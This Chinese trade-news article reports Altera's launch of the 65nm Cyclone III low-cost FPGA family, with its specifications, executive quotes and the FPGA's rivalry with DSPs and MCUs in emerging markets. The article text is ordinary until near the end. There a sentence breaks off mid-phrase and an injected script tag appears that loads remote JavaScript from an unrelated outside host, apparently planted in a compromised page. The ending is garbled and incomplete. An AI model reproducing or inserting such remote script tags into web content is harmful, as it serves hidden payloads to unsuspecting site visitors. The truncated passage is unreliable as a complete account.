65纳米低成本FPGA性能全面提升,与DSP竞合新兴市场

3月20日,altera公司宣布开始发售业界首款65nm低成本fpga——cycloneiii系列。与上一代90纳米低成本fpga相比,cycloneiii在低功耗、低成本和高性能等方面又有大幅提升,进一步扩展了低成本fpga在汽车、消费和无线市场的应用空间。并且,一个显著的变化是,低成本fpga不再将asic视为头号敌人,而更希望在无线微基站、软件无线电、视频监控和便携医疗设备等新兴市场,与dsp比翼双飞。

  cycloneiii是altera首次采用台积电成熟的低功耗工艺生产的fpga器件,据称比竞争fpga的功耗低75%,含有5k至120k逻辑单元(le),288个数字信号处理(dsp)乘法器,存储器达到4mbits,起价低至4美元。与上一代90纳米工艺器件相比,65纳米cycloneiii具有:1.7倍的逻辑;3.5倍的存储器;2倍的乘法器,乘法器性能达到了260mhz;每逻辑单元(le)成本降低20%;功耗低50%;低成本配置选项支持业界标准并行闪存器件;速率更高(高达400mbps)的存储器接口;更多的i/o,在8年i/o块上提供534个用户i/o引脚,支持多种业界i/o标准,包括875mbps的lvds通信接口。

  与上一代低成本fpga相比,cycloneiii的dsp乘法器、存储器和逻辑资源都有大幅提升

  在发布会上,altera公司消费、汽车电子及广播业务部副总裁timcolleran用四个第一来概述了cycloneiii:首个从根本上针对低成本进行设计的fpga系列;首个可供货的65nm低成本fpga;首个使用低功耗工艺的65nm低成本fpga;首个高于100k逻辑单元的低成本fpga。

  altera资深营销副总裁jordanplofsky说:“cycloneiii系列与所有其他竞争方案相比,适合更多的应用领域,因为该系列前所未有地同时实现了低功耗、低成本和高性能。250多名参加了altera早期试用计划的客户已经在大量应用中采用cycloneiiifpga进行设计,主要针对消费类、汽车、军事、工业和无线通信等市场。”

  其中,汽车和消费等成本敏感类应用是fpga增长最快的市场,也是cycloneiii的主要应用市场。市场研究机构gartnerdataquest的数据显示,2004年至2010年pld市场的年复合增长率达15.9%,其中汽车和消费类应用分别高达49.7%和24.4%。另外,无线市场对cycloneiii也非常重要。专业应用包括无线基站、软件无线电和显示,以及图像和视频处理等。

  asic不再是头号敌人,低成本fpga和dsp争艳

  一个有意思的变化是,在cycloneiii的发布现场,altera并没有象往常一样,高谈fpga取代asic,而是列举了很多fpga在无线微基站、软件无线电、视频监控和便携医疗设备等新兴应用中取代mcu和dsp的案例——从最近举行的ti开发商论坛(texasinstrumentsdeveloperforum)来看,这些应用也被视为tidsp产品未来的增长点,如面向无线基站的多核dsp,面向视频应用的达芬奇平台。

  在这些fpga取代dsp和mcu的案例中,altera强调cycloneiiifpga恰当地结合了强大的dsp乘法器、存储器和逻辑资源,为更多的应用提供更多的资源。例如,在软件无线电(sdr)应用中,cycloneiii在单个器件中集成了sdr信号处理,静态功耗低于0.5w。一个案例是rockwellcollins的保密移动军用通信项目,其大小、重量、功耗和成本是最关键的因素。该公司采用cycloneiii系列后,在每一方面都能够采用同类最佳的规范来设计系统,最终实现了以前无法获得的新应用。

  而在无线应用中,cycloneiiifpga的低功耗、高密度和充足的dsp功能使设计人员可以在大量新的无线应用中使用低成本系列产品,例如无线微基站的数字if和基带功能等。另一个案列是在视频系统i/o、视频压缩编码以及视频和图像处理应用中,通过采用cycloneiiifpga,客户能够以低于20美元的成本实现全h.264编码器,或者以低于5美元的成本实现高清晰(hd)缩放功能。此外,在显示应用中,cycloneiii器件针对显示应用进行了优化,是第一款能够满足所有1080phdtv性能需求的低成本fpga。

  cycloneiii扩展了低成本fpga的应用空间,尤其是可以与dsp竞合一些新兴市场

  对于fpga取代asic,colleran认为这已经是一种业界共识,因此无需再多言。colleran对《国际电子商情》记者表示:“过去15年来,fpga不断在侵蚀asic市场,fpga的密度越来越大,新的asic设计越来越少,这种趋势还将持续。当然,asic技术也在不断发展,功能不断增强。”

  不过,就fpga对mcu和dsp的取代,他则出言谨慎。他表示:“就fpga取代mcu和asic而言,确实,这两种现象都在发生。我们fpga中嵌入的niosii32位软核,可以在很多场合中取代mcu,这里所说的mcu,不是10美元以下的mcu,而是更高端更复杂的应用。niosii软核是我们非常成功的产品。”

  colleran特别强调说:“fpga不只是取代dsp,更多是和dsp共存。一方面,在某些应用中,fpga会取代dsp;另一方面,更多的不是fpga取代dsp,而是fpga和dsp共存。”他《国际电子商情》记者解释说,相比dsp,fpga最大?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态